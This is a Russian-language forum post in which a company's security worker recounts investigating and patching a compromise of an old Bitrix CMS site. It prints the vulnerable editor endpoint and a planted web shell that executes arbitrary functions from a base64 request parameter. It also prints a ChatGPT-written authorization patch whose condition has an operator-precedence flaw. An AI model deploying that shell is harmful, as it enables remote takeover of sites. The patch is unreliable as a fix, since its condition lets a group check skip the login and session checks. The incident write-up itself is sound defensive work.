Приветствую, уважаемые форумчане. Хотел бы поведать вам историю, которая произошла совсем недавно. Многие наверное слышали про атаку, которой подверглись сайты на cms битрикс в июне 22 года, так вот речь именно об этой уязвимости.
Наша компания занимается доставкой еды, в качестве cms используется битрикс какого-то лохматого года, конечно, мы знаем, что надо обновляться по мере выхода обновлений. Волею случая я попал туда работать, и помимо основной работы с БД я слежу за безопасностью, ищу дырки и стараюсь их закрывать сам, либо это делают программисты, сам я владею php на уровне примерно 0.
Вот так и продолжалась наша рутинная работа, пока однажды вдруг резко никто не мог зайти и выйти с сайта, включая админов. В ходе чтения различных форумов, была обнаружена возможная причина - это инфицирование файлов bx_root.php и prolog_after.php в ядре битрикса.
Закомментированная часть и была причиной поломки.
и изменения в файле prolog_after.php
обратите внимание, что строки дублируются, к этому вернемся чуть позже и я выскажу свое предположение.
Результат просмотра логов ничего не дал, только миллионы буковок и циферок. Тогда я решил пробежаться по известной всем методичке для атак на битрикс и посмотреть что же там такого есть. Я думаю, многие поняли, о какой методичке идет речь.
В итоге, после долгого различного ковыряния и проверок, у меня ничего не выходило найти, тогда я нашел эксплойт для уязвимости и стал разглядывать его код и пытаться залить шелл. Эксплойт не отработал должным образом, но удалось обнаружить новые файлы в папке upload, правда это были не PHP файлы, а стандартные файлы то ли логов, то ли еще какой фигни. Как я понял, эти файлы создаются каждый раз, когда на сайт закачивается файл. Примерный путь /upload/tmp/BXTEMP-2023-01-01/09/bxu/main/тутпапкахэшиком/default
И вот, наконец вооружившись методичкой и открыв код эксплойта, я решил дописать его под себя. После пары часов пыхтения удалось таки залить свой код в upload папку и на одном из доменов даже выполнить его, ужас, всегда закрывайте папку upload от выполнения различных скриптов.
Так же в процессе были обнаружены еще несколько зараженных и непонятных файлов. Вот этот код добавился в одном из файлов.
В этот момент я решил попробовать поиграться с chatgpt, зарегистрировался там, писал всякие вопросики и тут пришла идея: а почему бы не попросить, чтоб он написал для меня скрипт, который будет читать логи, анализировать их и отправлять в телеграмм сообщения при обращении к файлам уязвимости. Пусть и не сразу, но он написал для меня такой скрипт. Помимо этого, при изменениях файлов в файле менялось значение mtime и выглядело так, что файлы менялись последний раз очень давно. Просто так обнаружить модифицированные файлы не удалось, пришлось просматривать все вручную, сканировать различными антивирусами. Поэтому он написал для меня еще 1 скрипт для поиска файлов модифицированных по mtime и ctime за последний день. Добавив это в крон на выполнение пары раз в день и закрытия папки upload пришлось немного подождать.
И вот утром, проверяя свою телегу, были выявлены новые модификации и новые файлы, при этом в логах помимо обращения к уязвимому htm_editor_action.php ничего не было, как и не было обращения к папке upload. Тогда пришлось разбираться уже с самой уязвимостью. На форумах много рекомендаций по поводу закрытия этих файлов, но как следствие админ часть отваливается, да и предложения закрыть метод POST настройками сервера при обращении к этому файлу такая себе идея
PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
CModule::IncludeModule("fileman");
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;
if (check_bitrix_sessid())
{
CHTMLEditor::RequestAction($action);
}
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>
это сам уязвимый файл, к которому идет обращения, и как можно заметить никаких дополнительных проверок помимо sessid нету.
Так же в логах было два обращения к файлу /bitrix/tools/vote/vote_chart.php и вы только посмотрите на эту начинку
PHP:
<?
$file = preg_replace(array("#[\\\\\\/]+#", "#\\.+[\\\\\\/]#"), array("/", ""), (isset($_REQUEST["file"]) && is_string($_REQUEST["file"]) ? $_REQUEST["file"] : ""));
if(($p = strpos($file, "\0"))!==false)
$file = substr($file, 0, $p);
if (strpos($file, "/vote/")!==false)
{
if (strpos($file, "/bitrix/modules/vote/install/templates/vote/")===0 ||
strpos($file, "/bitrix/templates/")===0) @include($_SERVER["DOCUMENT_ROOT"]."/".$file);
}
?>
между прочим это стандартный файл, однако замечу, что в присланном в телеграмм сообщении по изменению и добавлению файлов, у нас как раз-таки фигурирует один из путей /bitrix/templates/и в папке vote нас ожидает наш шелл по имени default с содержимым
PHP:
<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NO_AGENT_STATISTIC", true);
define("NOT_CHECK_PERMISSIONS", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
$arState = array();
parse_str(base64_decode($_REQUEST["state"]), $arState);
echo $arState[0]($arState[1],$arState[2]);
die();
}
?>
Получается, что злоумышленник даже не использовал папку upload, он просто каким-то способом лил файл сюда и потом инклюдил его, и тот выполнялся. Нужно срочно закрыть файл от доступа. Так как в целом с программированием я не очень, и тем более программированием на битре, то я решил снова воспользоваться ChatGPT. Я попросил добавить в файл /fileman_html_editor_action.php проверку на авторизацию и принадлежность к группам сотрудников, дабы не сломать ничего лишнего, и он сразу выдал мне файл с таким содержимым
PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
CModule::IncludeModule("fileman");
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;
if ($GLOBALS['USER'] instanceof \CAllUser
&& $GLOBALS['USER']->getId()
&& check_bitrix_sessid()
&& in_array(1, $GLOBALS['USER']->GetUserGroupArray()) || in_array(20, $GLOBALS['USER']->GetUserGroupArray()))
{
CHTMLEditor::RequestAction($action);
}
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>
Осталось только залить его на сервер и протестировать наш эксплойт. К счастью, эксплойт не отработал, новых файлов и логов от них добавлено не было ни в папку upload, ни куда-то еще. Ну что ж, будем смотреть и анализировать логи, и изменения файлов, чтоб прийти к выводу: а помогло ли это в этот раз. Хотя данная мера является скорее полумерой, но для тех, кто не может обновить ядро, я думаю может помочь.
ChatGPT это конечно хорошо, но понимать код и писать его, залатывая дыры самому, куда веселее
Хочу высказать свое предположение по поводу этого всего. Я думаю, что сайты ломают ботом, помните те повторяющие строки в bx_root.php и prolog_after.php? Так вот, они добавляются после даже уже существующих строк каждый раз, когда идет обращение к нашим файлам. Кстати, еще искали файл spread.php в /bitrix/tolls, но его там не оказалось. Можно прийти к выводу, что заливают шелл до поры до времени, и в один прекрасный день снова множество сайтов падут. У кого старый битрикс и кто не столкнулся с атакой в прошлом году, проверьте свои сайты, обезопасьте себя. Так же, если кому-то нужны скрипты для логов и анализа на изменения файлов, можете писать в личку и я поделюсь с вами. Прошу не плеваться в мою сторону по безопасности нашего сайта, я работаю недавно в этой области и компании, и многое делаю впервые: такое как латание дыр на боевом сервере и изучения логов, чтоб пройтись по пути злоумышленника, пусть даже бота. Всем удачи и спасибо за прочтение, надеюсь было не сильно скучно
Последнее редактирование модератором: